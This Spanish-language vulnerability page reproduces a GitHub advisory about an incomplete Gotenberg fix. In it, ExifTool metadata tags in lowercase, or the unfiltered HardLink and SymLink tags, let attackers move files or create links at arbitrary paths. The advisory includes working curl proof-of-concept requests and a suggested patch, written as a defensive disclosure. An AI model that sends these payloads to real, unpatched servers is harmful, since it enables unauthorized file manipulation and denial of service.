llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/gotenberg/gotenberg/v8

GHSA-QMWH-9M9C-H36M

Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche a -2 d de la divulgación
Exposición227 dDesde la divulgación, 7 abr 2026, 1:16 p. m.
Detección223 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (alta) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Las PoC crecen rápido, como las llamas bebé.Programa la remediación y duerme tranquilo.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche v8.30.0
Monitoreo
Detectada
5 abr 26
7 abr 26
25 jun 26
17 nov 26
21 nov 26
5 abr 26
2 jun 26
29 jul 26
25 sept 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche v8.30.0 github.com/gotenberg/gotenberg/v8 · -2 d desde divulgación
Divulgación Publicada GHSA-QMWH-9M9C-H36M divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.

Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.

Root Cause

`pkg/modules/exiftool/exiftool.go` lines 231-237:

dangerousTags := []string{
"FileName", // Writing this triggers a file rename in ExifTool
"Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
delete(metadata, tag)
}

Go's `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `"FileName"` and `"Directory"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.

The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

So `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.

The blocklist also omits two dangerous ExifTool pseudo-tags:
- `HardLink`: creates a hard link to the file at the specified path
- `SymLink`: creates a symbolic link to the file at the specified path

PoC

All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.

Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'

HardLink (hard link created at /tmp/hardlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'

SymLink (symbolic link created at /tmp/symlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'

Verification inside the container:

$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf

Also confirmed ExifTool case-insensitivity directly:

exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName=

Impact

An attacker with access to the Gotenberg API (unauthenticated by default) can:

  1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory`
  2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup
  3. Create symbolic links at arbitrary paths via `SymLink`

In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.

Suggested Fix

Use case-insensitive comparison and expand the blocklist:

dangerousTags := []string{
"FileName",
"Directory",
"HardLink",
"SymLink",
}
for key := range metadata {
for _, tag := range dangerousTags {
if strings.EqualFold(key, tag) {
delete(metadata, key)
}
}
}

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
github.com/gotenberg/gotenberg/v8< 8.30.0
8.30.0
v8.40.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/gotenberg/gotenberg/v8
Corregida v8.30.0 -2 d v8.40.0 no afectada
Versiones corregidas8.30.0v8.30.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m
Otrahttps://github.com/gotenberg/gotenberg/commit/15050a311b73d76d8b9223bafe7fa7ba71240011
Otrahttps://github.com/gotenberg/gotenberg

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.